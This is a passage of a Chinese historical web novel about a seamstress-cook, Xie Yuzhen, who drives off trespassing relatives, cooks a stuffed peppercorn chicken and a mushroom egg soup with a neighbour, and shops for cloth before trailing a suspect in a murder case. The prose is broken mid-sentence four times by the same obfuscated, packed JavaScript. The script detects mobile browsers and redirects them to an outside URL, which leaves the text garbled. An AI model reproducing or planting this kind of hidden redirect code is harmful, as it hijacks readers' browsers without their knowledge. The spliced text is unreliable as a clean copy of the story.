开阵的是张大郎，他将三个女眷护在身后，却被张娘子一脸嫌弃地推开。 院中一高胖有胡须、一矮瘦男子坐在石墩子边吃酒，喝的是她酿的青梅酒，吃的是她菜洼里的小葱和她做了几个月的熏肉，地里之前种的菘菜被踩地乱七八糟，两人见进来的是个老妇人和男子，互相推搡着起身，醉醺醺地走到张大娘子身前，一脸怪笑。 谢玉珍身为厨子，嗅觉灵敏，他们刚靠近边由远到近闻到一股醉鬼的臭味儿，不由得右手捂上鼻子。 一听见两人怪笑，三个年轻人一齐怒了。 “不知二位是何许人也，大门的铁锁还是完好的，变戏法似的出现在院中，难不成是什么天外来客？”谢玉珍故作疑惑，“还是什么精怪？是梁上君子？” 大郎的娘子缺根筋，问道：“话本里哪有如此丑陋的精怪？” 这番话无意伤人，却着实伤了某两位的小心脏。仿佛下一秒就要怒发冲冠。 “那估计就是梁上君子了。”张大娘子粗棍猛地甩到两人腿弯出，两人登时跪在地上，表情扭曲，如同涨紫的菜花虫。 “儿子，捆起来报官。”张娘子说道，谢玉珍连忙从外面的灶台边找到麻绳，递给张大郎。张大郎体格粗壮和李香君有的一比，是春秋标准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780317|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的儒生。很快速便将这两个酒囊饭袋捆的结结实实。 “这个宅子是我们谢家的，按照宗族道理，理应归属我们谢家的男人，和你们两个野种有什么关系？”高胖的男人叫嚣说道，声量之壮，身躯之渺。 “就是，你们有什么资格捆我们兄弟？就算闹到官府，也是我们有理！”另一个男人轻蔑地看向他们，“你就是谢韫那个老娼妇？就这些年，你就生了这几个野种？” 看到菜地被毁，谢玉珍并未生气，看到酒肉被偷，她内心也只有些许波动。 “你敢辱我祖母？”谢玉珍躲过张大郎妻子手中的刀，狠狠劈了下去，几秒之间便将两人的发冠削了下来。 她的手腕也被突然之间的反作用力狠狠震伤，但她浑然不曾感受到痛意，两人吓得脾胆欲裂。 “你二人作此勾当，可有告诉谢家?”谢玉珍踢开地上的碎发，阴恻恻地说，“绣花针换剔骨刀，我的手拿刀拿惯了，切肉片时能切出肉最好看的纹理。”她用刀背抵住口出恶言那人的喉咙，一路走到肩胛、胸口。 “你不妨猜猜，你们两个蠢材若蒸发于人世，谢家可会派人寻找，追究到底？”谢玉珍半蹲在地上，“还是，你觉得在场几位会替你二位叫冤？嘴巴如果不要，我可以帮你割下来喂郊外的野狗！” “珍娘。”张娘子心疼地捧起她红肿的手，用手上的温度捂热手腕，谢玉珍才恍然开始觉得疼，“和这些人生气，未免太过晦气了些。” 张娘子将谢玉珍拉起身护至身后：“我不是我谢家老姐姐那般好脾性的人，你们算是看走眼了，老姐姐的宅子是她家私，和谢家有一分一毫关系？更何况老姐姐生前何等聪明，早料到会有你们这种人，珍娘和朗哥儿早在她病重时就已入了户籍。” “此女子并未立女户，有何资格拥有这宅子？”高胖男子仍然不甘心地叫嚣。 “你又错了。”谢玉珍不屑地笑，“今年刚入秋，朗哥儿就是这栋宅子的户主。”女子的家资太过容易被强取豪夺，她早就料到这种情况，在决定出嫁之前就去官府将谢朗立做了户主。 “若非我是一女子，连邻里都不必叫来，破门便生擒你二人扭送进官府。”谢玉珍说道，“流氓当久了，就瞧不起寡母幼孙了？张家大兄，这番真是麻烦你了。”谢玉珍转身让出位子，张大郎意会，一只手一个，将二人拖起来丢到张家的牛车上。 “谢家妹妹何必言谢，不过顺手之事，就当出门采买一趟罢了。”张大郎爽朗一笑，和妻子道别后驱使牛车向县衙赶去。 “今日有此事实在丢脸。”谢玉珍诚恳地说道，“娘子和姐姐晚间便在我家用饭吧？请不要和我客气。” “清儿便去给你帮厨吧。”张大娘子收起长棍，将儿媳推出去，“可别怪我让清儿偷师了。” “哪里的话。”谢玉珍将衣袖往下扯了一下，遮住红肿的手腕，心里涌起一股暖流。 29. “八宝”版花椒蒸鸡 因为做熏肉的缘故，前段时间回来了几次，因此院内桌椅灶台并没有积攒灰尘，谢玉珍先是将院子里的落叶扫干净，然后拔掉了菜畦里被践坏的菘菜，菜板洗干净后放到石墩上，今天做一到川蜀菜——花椒蒸鸡。 蒸鸡最知名，美不数鱼蟹。三国时这道菜便有如此美名，川菜重甜、麻，滋味醇厚，大部分人都能接受。 而今天，她还打算给这道菜加点创新——结合八宝鸡的做法，往鸡腹内加些糯米和莲子，以草结将鸡腹封住。 做这个菜第一件事就是——给鸡拔毛。 以前刺绣为营生的缘故，谢玉珍家里并没有养鸡，这只鸡是回来前路上买的，打算做腌鸡炖干笋。正巧遇到这事儿，不就派上用场了。 “清嫂嫂，柴禾我抱过来了。”谢玉珍将柴禾掷在灶洞前溅起粉尘来，现下用的是去年的旧柴，木头被硕鼠啃食出不少木屑，带着陈旧的味道，“你先把水烧开，等会儿鸡杀好了好拔毛。这只小公鸡尾羽长得好看，到时候我做个毽子给囡囡玩。” 她拍开合围上的灰尘，扶着灶台笑盈盈地望向王清儿。 下午的阳光斜斜打在她脸上，光越金灿，脸越粉白，王清儿看得愣神。 “嫂嫂？”见王清儿一时无言，谢玉珍走下台阶，不由得担忧，“嫂嫂方才可是受惊吓了？都是妹妹不好，今儿个我给嫂子好好赔罪。” “哪里的话，我自来不是个胆小的，哪能因两个地痞吓住，只是有些感慨。”王清儿有些羞赧，“妹妹巧手，刺绣能攒千金，养一家足矣，厨艺也这样好，我实在是，自惭形秽而已。” 这话不好作答，顺口说难免有夸口炫耀之嫌，一味推否又显得虚伪卑怯。 “听张大娘子说，嫂嫂棍法极得她真传，嫂嫂改日可能教妹妹几招，嗯？”谢玉珍笑挽王清儿的胳膊。 “这有何不可的？”提起功夫，王清儿兴致起来，两只手比划起来，看上去鲜活无比，“啊，我有些忘形了，妹妹别跟我一般见识。”不一会儿她便意识到这样似乎不合礼仪，收起架势道。 “哪里，嫂嫂真性情，那这颗梅子，”谢玉珍从腰间的袋子掏出一颗盐渍梅子递到王清儿嘴边，“可权当拜师礼了。” 王清儿把梅子轻咬到嘴里。入嘴后，一股咸味儿先涌上舌尖，还没来得及说出口，便窜上来针尖似的酸，勾上来股股口水，鼻背也构成了一个川。 川字不一会儿就绽开了，酸透出了甜，还带着桂花香，两相融合，有趣的很。 谢玉珍被王清儿皱起的五官逗笑，往自己嘴里也塞了一颗，眯着眼含着梅子择葱。 “平日里不曾知有如此促狭。”王清儿摇头，回到灶台边点火，火石摩擦的声音听得人牙齿有些发酸。 葱白和葱叶分开，葱叶切成葱花和中长段，葱白横切成细长的丝用开和萝卜一起凉拌。 不多时，锅里的水开始咕噜作响，水开了。 王清儿拿起灶边墙上挂着的木瓢，将锅里的水转移到木桶内提到庭中。 谢玉珍洗净菜刀，在磨刀石上刮过两遍，一瓢凉水冲过去，刀锋泛起寒芒，她利索得将鸡脖子割开放血，不消多久便好了，鸡脖子断口处只看见黑洞洞一片，却不再滴血了。趁毛还没暗淡，谢玉珍将尾巴上的毛先拔了下来放到窗口。 将杀好的鸡丢到木桶里，等两炷香时间就可以拔毛了。 谢玉珍洗净手，拿出干莲子和干枣泡上，盛出两碗粟米用来煮红枣莲子粥，祖母曾经说过，粟米属于粗粮，老人常食对身子是有好处的。 除了这道味重的荤菜，她还要预备两道素菜小炒，常吃叶子菜不易得消渴症，谢玉珍上辈子见过几个得病的妇人，有一个脚上生了黑斑，已不利于行，价格因此降了好几筹，惹得拐子好几顿打骂，后来买她的夫家自然是没可能出钱给他诊治，吃食上也没尽心，竟就这样熬死了。 她死时谢玉珍去看了，明明几日不进汤饭了，身体瘦的像个骷髅，脸盘子却肿胀的像月盘子，她做了好几日的噩梦，更坚定了要逃走的心。 想到这里，谢玉珍不由得打了个冷颤，强迫自己将那个场面甩出自己的脑海。 就，就地取材，做一道清炒菘菜和煎鸡蛋芽菜干菇汤就罢，夫子这些时候都在书塾住着，张家姐姐因肚子渐渐大了，加上秋收结束了一段时间，已被婆家催着回夫家备产了，张大郎在镇上吃小食，因此只有三个女人和一个半大孩子，一大菜一清炒一热汤足矣隆重了。 换做以前，让她花这般多的心思在吃上面，她必然是不情愿的，现在时过境迁，过了这么些真正意义上的苦日子，她反倒想开了，人生在世，不过吃穿住行四字而已，何必自苦？ 王清儿看谢玉珍这股子利索劲儿，不由得幻视起自家婆母张大娘子起来：“珍儿妹妹，拔毛的活儿就交给我吧，我光站着，跟个门柱子似的，也是讨嫌。”她打趣道。 “好咧。”谢玉珍也不推辞，大方回应道，“一会儿嫂嫂可要好好看着我，如何‘大显神通’！”她仰起头假装得意道。 王清儿挽袖子的手顿了一瞬后又恢复正常，却仍不自觉地往合围上擦了好几遍。 “这不太合适呀。”她弱弱说道，“哪个独当一面的厨娘不是把当家本事藏着掖着？婆母教我过来想来更是没有这一层意思的。” 谢玉珍摇头：“若说绣技，洛阳我称第二，便没人敢称第一，一个‘好’字，我自然当得。”说道刺绣，她面上不□□露些许骄傲之意，“可我自认为不算个顶好的厨子，自不在意藏私不藏私的，到今日不过天赐的运道而已，几张菜谱，难道还足以传世不成？”说到这里，她将将笑了起来。 “何况说，嫂嫂又岂会堕了张大娘子的气节？便不要推辞了吧。”谢玉珍眼睛亮亮的，弯起来像个月牙儿。 “那就多谢珍儿妹妹了。”王清儿收拾好自己的心情，不再推辞，她也的确需要这份活计，公公和婆母已经一年未曾添置新衣了，今冬过除夕的衣裳，也不过是拆开旧夹袄，拿出旧麻絮，填些新的进去。 小叔子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780318|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和郎君前些日子却扯了两匹新布裁制了几件新衣，若非今夏公公的学生里有个富商送了两顶毡帽，真不知两个老人这个冬天过的有多难。 她需要这份活计，所以只能腆着脸接受了这份善意的温情，计划着日后无论如何也要报答回去。 两人各自去做事情，氛围在刻意的维系下变得轻松，王清儿拔毛的速度极其快，看得人目瞪口呆，连鸡冠处的羽管也细心地择了出来。 呜云似乎特别讨厌鸡毛被热水烫过产生的臭味，窝在堂屋里玩木棍子不出来，也不知道是从何处叼过来的，像只小狗一样摇尾巴，只给人人留了一个圆滚滚的背影，哪怕是再老练的猎手，都不会怀疑它是一只“恶狼”了。 谢玉珍备好配菜，吩咐王清儿先热锅，将脱干净衣服的鸡提溜到案板上，剖开鸡腹，将内脏掏干净只留了鸡胗和鸡心，鸡油也尽可能的刮干净，她向来不喜欢鸡油，尤其是炖鸡汤，鸡油若是不撇干净，上面厚厚一层黄油凝在汤面上，实在是不好看。 她攥紧刀把，用刀面轻轻拍打鸡肉，腌制起来更好入味，蒸的时候也不用太过注意因火候而肉质发柴的问题。 将其中的道理讲过一遍后，谢玉珍问道：“嫂嫂可记住了？”见王清儿点头，她才将目光重新投入到食材身上去。 将盐块捣细，和姜片、黄酒一起均匀地抹到鸡肉上，当然，不能忘记最重要的主角——花椒了。 等待的时间就可以把糯米蒸上了，糯米泡过水，更容易蒸熟，就是得注意不要蒸过头了，毕竟在鸡肚子里还得再蒸一遍，蒸过头口感会大打折扣。 “蒸到上汽就可以了。”谢玉珍说道，将另一口灶也烧起水来，等待水开的时间，割下来一块肥瘦相间的腊肉，经过烟熏火燎，肉表面覆盖着一层薄灰，在热水里刷过一遍才展露出它原本的妍丽色彩。 肉刷干净后切片再改丁放置一边，这时候红枣泡的发亮，把泡米的水撇干净。 王清儿将锅里的水撇出去，重新打了两瓢水到锅里。 “把粟放进去，枣子等煮粥的水沸了，再丢进去关了锅盖煮，莲子最后放，放进去之后就不必再架火了，关着锅盖焖一会儿就很糯软。”谢玉珍开口教授道。 做饭的时间总是过得很快，火光映在两人的脸庞上，特别暖和。 等天边变成暖黄色的时候，糯米终于是蒸好了。 “小心别烫到了。”王清儿递过来两块布，谢玉珍点头答应了一声将布接过来，将蒸笼从锅里端了出来，将糯米连同白布一起拎出来，用筷子拨到木盆里，将泡好的一部分莲子红枣一起搅拌均匀，小心塞到鸡腹内用烫过一遍的麻绳将整只鸡分成三段绑好，装进盘子后移动到蒸笼里，重新把盖子盖上。 王清儿见状，又塞了两根木柴到灶洞里。 “也差不多了，”谢玉珍舀了一瓢水净了手，温声说道，“差不多该请张大娘子过来吃盏茶，等着开饭了。” 凉拌菜和鸡蛋汤就一会儿的功夫，一会儿便好了，不必叫别人久等了。 30. 荷包蛋豆芽野菇汤 干净的锅里刮进两勺猪油，等油热后撒入微量的盐巴：“这样鸡蛋不容易粘锅底。”见王清儿神色有些疑惑不解，谢玉珍开口解释道。 原来如此，王清儿恍然大悟，怪道她平日里煎鸡蛋糊不糊锅总是很看运气，原来煎鸡蛋也是有技巧的。 怪不得别人能开店呢，这种细枝末节的东西也注意得到。 这时，院门口也忽然传来脚步声，连带着谢朗清朗的声线：“女兄，我放年学了！” 谢玉珍抬头一看，谢朗腋下夹着书本，手里捧着一个小包裹，显得十分珍重。 谢玉珍连忙走过去将他腋下的书接了下来，放在石墩上：“怎么不早些回来？太阳都要西沉了。别的倒没什么，只是最近不安生，天晚了你一人在外面晃荡，我总是忧心。”她温柔地擦干净谢朗快走流的热汗，难掩担忧。 “女兄别担心，我在街上碰见李大哥了，是他送我回来的。”谢朗连忙安慰道。 李大哥？李香君，谢玉珍心里不由得长吁一声，感想复杂， 她问：“他人呢？” “进村口他说有事，行色匆匆地走了。”谢朗拆开手上的包裹，里面赫然是几枚朱钗和一盒胭脂，“女兄，你快试试，这都是我和李大哥一起挑的，你看喜欢不喜欢。” 胭脂盒上有缠枝牡丹的纹样，谢玉珍拿起胭脂，问道：“这盒胭脂看起来不便宜，朗哥儿平日里可是省吃俭用了？” 她有些感动，可又忍不住心疼。 “是我帮同窗做课业的报酬。”偷瞄了一眼灶台后的陌生女人，谢朗凑近小声说道，“没有省吃俭用，我腰身都紧了，女兄你快试试喜不喜欢！” 谢玉珍打开胭脂盒，指腹沾上一抹艳红色，借着水面覆上唇瓣：“我很喜欢，瞧你这一头汗，去歇着吧。”谢玉珍原本的唇色是泛白的莹粉，这一抹胭脂在夜色的衬托下极其鲜艳，像极了在夜里化形的山精野怪。 锅里添的水滚起来，香味也飘散进鼻腔内，事先泡好的野菇子也舒展开身子，将泡菇子的水撇干净，用手把每一朵撕成两半丢进锅里——蔬果要尽美，是最忌讳有刀气的。 “咕噜咕噜”的声音从锅盖下传出来，不到两炷香的功夫，谢玉珍揭开锅盖，将还带着露水的鲜豆芽丢进锅里，一小会儿的功夫，豆芽都沉进汤里，变得半透明起来，最后撒一点盐巴、一把葱花收尾，一盆鲜掉眉毛而且特别容易制作的荷包蛋汤就制作完成了。 “好鲜啊！”王清儿接过谢玉珍递过来尝咸淡的汤碗，嘬了一口不自觉得瞪大了眼睛，没有一点蛋腥味儿，明明是猪油打的底，却一点都不油腻，显然油水大半都被芽菜和菇子吃掉了。 冬日里喝下这样一碗热腾腾的汤，比吃肉还让人高兴。王清儿连忙将碗底的都喝干净，生怕浪费。见谢朗拿了扫帚过来，还寻了个空碗，给谢朗也盛了一小碗。 谢玉珍鼻子微耸，闻到米香味，揭开锅盖，煮粥的水已经变得浓稠，她将肉丁一把倒了进去，缓缓搅散，重新把锅盖合上。 眼瞧着要过年了，提前感受一下年味儿吧。 清炒菘菜是平日常吃的，她手熟很快便出了锅。 葱白已经泡了一段时间的水，辛辣味基本祛除了，其实按道理来说，山东地区的葱做凉拌菜才是最好的选择，不过两地距离遥远，难以保证新鲜运输，所以本地的葱泡的时间1要更久一点，起码要多泡半柱香的时间。 把葱丝控干水分，放上两勺酱油、两勺香醋，一勺糖霜撒进去抓拌均匀，芥菜疙瘩也拿出来，磨些酱当做凉拌菜的蘸料。 正正好张大娘子也在这时踏进了院门，谢玉珍连忙迎了上去：“张娘子，快进去坐！” “朗哥儿回来了？”张娘子看见枣树下的谢朗，慈祥地看着他，“有时间来你老师家看书啊。”张夫子书房有许多他亲手注释的经书史籍，张娘子这话的意思，显然是让他任意取用了。 往日里，也只有张夫子接济的书生傅生有这个权利。这是比任何金银财帛，如花美眷都更珍贵的东西，没有张夫子的点头，张娘子绝不会开这个口。 恩情恩情，已经分不清恩和情谁在前，谁在后了。 如此，也不知如何开口言谢。 房间几个角蜡烛流着红泪，圆桌最中间放着一盘热气腾腾的汤，花椒蒸鸡依偎在汤盆旁边，几个椅子前都摆放着盛出的热粥和一碟芥菜疙瘩酱，粥面已经凝了一层米油，泛着磨砂的光泽，隐隐可见其中的肉丁，看上去诱人极了。 还是张娘子打破寂静，先行动了筷子，拆下来一个鸡腿夹到谢朗碗里：“朗哥儿还小，该多补补，珍娘，你也是，都说病去如抽丝，你和朗哥儿今年属实是有些流年不利。”把另一个鸡腿强硬塞进谢玉珍碗里，张娘子叹了一口气，甚至想着要不要给这可怜孩子请个道婆来驱驱邪。 都是什么事。 长者赐不敢辞，谢玉珍只能硬着头皮接过鸡腿。 “否极泰来，否极泰来。”王清儿开口给谢玉珍解围道。 “是啊，塞翁失马，焉知非福。”谢玉珍紧接着说道。 张娘子点头，将粥勺在碗边刮干净底，然后塞进口中，是粟米和枣子的微甜，携带着莲子的糯，肉丁被煮得抿一下便化在嘴里，又润又香，带着熏肉特有的风味，隐隐还能尝到柑皮味道，不过很淡很淡，几乎不可闻。 她挟了一筷子葱丝，浅蘸了一下芥菜疙瘩酱，难得的清爽。 “这个和肉一起吃好吃。”谢玉珍撕下一块鸡肉，放在葱丝上，将两者一起送进口中，无他话，只有美味二字。 清炒菘菜也很清甜，毕竟是最后一拨了，再吃得明年重新播种了。 “朗哥儿回来了，张夫子怎么还在书塾？”谢玉珍想起这事，开口问道。 “不用管他，”张娘子冷哼一声，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780319|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他估计还在处理书塾的事，一天到晚不知道哪里来的那么多古道热肠。”张娘子也不是真的生气，毕竟她也是知道她家郎君的，就是忍不住吐槽。 “婆母，喝汤吗？”见张娘子碗里的粥干净了，王清儿站起来柔声问道。 “可以。”张娘子点头，这时候汤已经不烫嘴了，王清儿拿过张娘子面前的碗，盛了一碗汤给张娘子——菌菇多芽菜少，张娘子喜欢吃菌菇，张夫子的学生都知道这个事。 这应该是今年秋天采摘下来晒干的野菇子，张大娘子尝了一口，便忍不住喝第二口，第三口，汤鲜得像吊过的，荷包蛋静静卧在碗底，看上去仿佛平平无奇，但咬一口又吱吱冒油水，两面的焦皮被汤水泡过，仍旧带着一股子韧劲儿。 这样的家常菜能做成这样，可见其本事了。 不过谢玉珍自己不这样觉得，在做菜一道上，冥冥之中，似乎总带着一股运气。 几人饭饱后，王清儿帮忙收拾了残局才回去侍奉婆母入睡。谢玉珍望着完全黑透的天色，也不由得觉得有些疲累。 书房里却还点着蜡烛。 “朗哥儿，还不睡么。”谢玉珍拢了拢身上的衣裳，夜深了有些寒凉，“读书也是不急在这一时的。”她眼底有淡淡的紫色，显然有些累着了。 “女兄，我还不累。”谢朗回答，他吃饱喝足，从头到脚都是暖洋洋的，自然不觉得寒冷困倦，更何况这样的天气对读书而言，也未尝不是好事呢，头脑清醒，念头通达。 谢玉珍也不强求，开口说：“炉子上烧着热水，一时半会儿还熄灭不得，你若冷了，茶壶在柜子里，自己倒茶来喝。” “我到时候自己再烧，女兄，你用这热水泡过脚再睡吧。”谢朗想起谢玉珍似乎那日子快到了，开口说道，谢玉珍一到那日子手脚便如生铁一般，谢朗不得不担心。 “嗯，”谢玉珍揉了揉太阳穴，“我知道了，别读太晚。这光线太暗，再点几根蜡烛，到时候伤了眼，得不偿失。” 望着室内昏暗的光线，谢玉珍忍不住开口道。 “嗯。”谢朗又找出几根蜡烛，凑近烛火点燃后固定在窗台和桌子上，“女兄，你去歇息吧。”谢朗催促道。 “好呀，现在都不许我说话了，唉，我也是蚂蚁掉了水坑，可怜呀。”谢玉珍打趣道。 “女兄！” “哈哈好好好，不逗你。”谢玉珍笑了两声，倚在门框上问：“明天早食想吃什么？” 她自己有些想吃汤饼，其他的到无所谓，就看谢朗了。 “女兄吃什么我就吃什么。”谢朗重新拿起书本，如是说道。 谢玉珍默默关上了书房的木门，泡过脚后拖着一双木屐给黑猫上过三炷香，诚信祝愿后，才脱下外衣，解开头上防尘的布钻进了自己的被窝。 屋外天悬得格外高，层层叠叠的云层被北风呼啸吹开，露出皎白的月色。 31. 可疑 “嘶——”谢玉珍揉了揉有些发疼的太阳穴，房间的窗户被风吹得劈啪作响，她穿好足袜，拖着一双布鞋走到窗前，抬手刚打下窗栓的一瞬间，窗户猛地被风刮开，幸好她反应快，及时扶住了，否则脸上非得多一块淤青不可。 窗台上有一点点晶莹的雪色，凛冽的寒风刮的脸生疼。 “下雪了啊。”她低声呢喃道，“离年不远了。” 算一算时间，过三四日就冬月二十四了，该把呜云的窝加一层旧衣服了，她心 想。 她往手心哈了一口气，关好窗子穿好冬衣出去了，再过几日布庄和绣庄就都要关门歇业了，就不好再给朗哥儿添一身新衣了。 她做好汤饼后，思考了一会儿往里面打了两个鹅蛋，听说鹅蛋很补，她前些日子就在县里民巷内人家处收了一篮，本来想私下里送给李捕快，他娘身体不好。 不过人家没要，所以到现在还剩很多，不吃就浪费了。 给呜云喂完食后，谢玉珍便将它系在枣树边，招呼谢朗出门去。 呜云没被拴过，不自在得挠脖子上的绳子，可怜巴巴地小声嚎叫着，看着可怜可爱。 谢玉珍蹲下摸了摸它的小脑袋，叮嘱道：“好好看家，要是有坏人，你就大声叫，听到了吗？” “女兄，走吧。”谢朗无奈地说，“呜云怎么会听得懂人话呢？” “它很聪明的，你以后看看。”谢玉珍笑。 两人把门锁好之后，就步行走到了村口，村口每日清晨有送人去县里的牛车，一人要三文钱，除非有点家财或者有急事，很少有人会去坐。大家宁愿腿着去，省下这三文还能多买一些肉。 “晨安啊，谢小娘子！”路上遇见的人都喜气洋洋的，“吉祥如意啊！” “晨安，明年好收成啊。”谢玉珍点头示好，瑞雪兆丰年，今年雪下的早，想来明年是个丰收年。不知道再过些时候下大雪，圣人会不会一开心就免些粮税。 “‘椒娘’去哪里啊？”路上有人叫起了这个久违的绰号，谢玉珍把脸肉躲在风帽里，只笑笑，指了指县里的方向。 “女兄，”谢朗远远便望见路边堆着一脚草料的牛车，车上已经坐了两位娘子，两人脚边都堆着竹筐。 一看到竹筐，谢玉珍突然想起来：“哎呀，没带装布的筐！” 可已经走到这里了。 谢朗闻言低声说道：“要不我跑回去拿一个，我个子小，跑的轻快。” “谢小娘子！”牛车的主人她认识，是曾经食肆里帮忙的一个男人的儿子，远远看见她便热情地招手，“要坐车吗！” “要的。”谢玉珍走近，递过去六枚铜钱，“只是我忘记带装东西的筐了，朗哥儿已经跑去拿了，能不能在这里稍微等一会儿？” 牛车边的青年不太敢直视谢玉珍，黄铜色的脸涨得发红，说话跟憋着气似的，生怕大声一些眼前的人就被吹散了：“可以，当然可以。”她慌忙转过头，从驾车的位置后面拿出一个矮凳放在牛车边。 “不必如此的。”谢玉珍有些错愕地爬上去，离她近的妇人伸出手，将她拉了上来。 青年收起矮凳，不好意思地挠头：“没事，你是花了铜子的。”说完他便转过头，不再说一句话。 车上的两位妇人忍不住发出了善意的笑声，谢玉珍皱眉，有些心焦。 谢朗咋还没过来呢。 说曹操曹操到，谢朗背着一个空竹筐飞也似地往这边跑，上到车上时谢玉珍才松了一口气，掏出手帕给他擦汗。 “娘子们坐好。”前面的人提醒道，谢玉珍一手抓着谢朗的手，一手扶紧了边沿。 到县里后，已经有一家布庄关门了，谢玉珍便找了县东边的一家。 “快请进，娘子看着面生，应该第一次来我们这边吧？”倚在门边的伙计见有客人迎了上来，跟在人后面进去，热情地问道：“娘子是要买麻布还是绸子？一般来讲我们店里买绸子的客人比较多。” “我们主人丈人开了一家桑蚕所，因而我们这边绸子要比别的店便宜一些。”伙计拿起一匹天水碧的绸布推荐，“娘子气韵典雅，适合这样浅淡的颜色，这颜色一般人穿不出来。” 谢玉珍看了一眼摇头：“快过年了，选个鲜亮一点的讨个吉利，给我拿一匹缃色、半匹柿红，再拿一匹鸦青色的，我预备送人。”谢玉珍考虑了一下，补充说道，张娘子帮她很多，她得表示一二。 “我们这边还卖针线的，娘子家里如果缺了，现在可以买点回去，再过几日我们也要关门了。”伙计见她买的多，说道，“如果有需要的话，我们还开了承接做衣服，只是需要些手工钱。” “拿些针线吧，各色的绣线也给我拿一些。”谢玉珍考虑了一会儿，今年赚了些钱，但也还欠着李香君的债，这种钱能省则省，“你们掌柜好会做生意，竟都包圆儿了。”她夸道。 “那是，主人家厉害，我们做伙计的面上也有光哈哈哈。”伙计笑，“我再送娘子半匹麻布，谢娘子下次可还要来我们这里啊。”伙计这时也认出了她，是他们这里出了名的刺绣大家，他想了想开口，若是以后谢娘子的绣品都是用的他们的布，那一匹麻布都不算什么，掌柜会自掏腰包的。 “谢谢你了。”谢玉珍看出他的意图，“不过不必了，我以后可能不会再卖绣品，可不敢占你们的便宜。” “那可真是可惜了。”伙计惋惜道，“娘子慢走。”谢大家的绣品他见掌柜背靠的那位上官家属穿过，就连他一个什么都不懂的都觉得真是好看。 谢玉珍背着布匹出去，寻思着要不要买些家用回去，却猛地在巷口看到一个眼熟的人，之前摆摊的时候似乎关顾过她的生意，因为总是把豆芽和萝卜丝换成多多的芫荽，所以她印象比较深刻。 快到年关了，捕快基本巡逻都懒了下来，这边离衙门又远，怎么这么早还穿着常服出现在这里。 谢玉珍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780320|190384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疑惑地想，见那人越走越远，她脑中灵光一闪，莫非跟潘案的案子有关系？ 自从潘府发生血案，好些人都可以躲着那条巷子走，怎么这人还往那边走，据她所知，潘府附近没有在官府做事情的，基本一连都是商户人家。 她把筐交给谢朗，嘱咐道：“你在这门口等我，我很快就回来了。别乱跑知道吗？或者进去待着，我回来给伙计些赏钱。” 没等谢朗回答，她扯下风帽，快步追了上去。 那人特意绕了好几个弯，谢玉珍差点以为是她多疑差点要放弃，结果果然是！ 见那人回头，谢玉珍连忙躲进一边的巷子墙后面，心跳得飞快，莫非被发现了不成？！她又惊又疑，悔不该昏了头趟这趟浑水，往事已矣，有恩怨的前夫婿也死了个不明不白，何苦管别人的闲事！ 脚步声近，正危急的时候，一声凄厉的猫叫在寂静的街道上响起，显得有些惊悚，一只皮毛顺滑肥硕的呜云踏雪追着低飞的纸灰窜出去。 “原来是个肥猫。”只听那人松了一口气，“我也是昏了头，这边这个时候怎么可能有人。” 他嘬嘬了几下，见猫儿理都不理地跑掉，讪然，脚步声遂远去。 谢玉珍瞪大眼睛，望着眼前放大的美人面，不由自主往后退到墙壁上。 “你先回去。”李香君退后，虽不知谢小娘子为何如此关心此案子，“若有什么消息，我再告诉你。” 此案已结案，却还有人总是探查潘府，实在危险，谢小娘子如何能涉身险境。 谢玉珍还未来得及说什么，人已经跟着那人走远了。 只能作罢，免得拖李大哥的后腿，谢玉珍想着，原地返回了去。 谢朗还在布庄门口，蹲在竹筐后面，脸还是被风吹红了一些。 “怎么不进去避避风？”谢玉珍摊手去摸谢朗养出肉的脸，冰凉冰凉的，“傻了不成，就这样吃风。” 谢朗见谢玉珍脸色还好，便知道她不是真的生气，背起竹筐跟在谢玉珍一边。 “我们还欠着外人钱，能省则省。”他小大人似的，谈论着钱财这等事。 “下次别这样，我们不差这点。”谢玉珍听着，想起他身体才养好，不生气也要生气了，“过年要是生病多难受，花的不比赏钱多？可不划算了。” “我知道了。”谢朗思考了一会儿，“这就是因小利而失大。”想起圣贤书上的话，谢朗点头。 “对。”谢玉珍只觉着谢朗思维灵活，又有些开心起来。 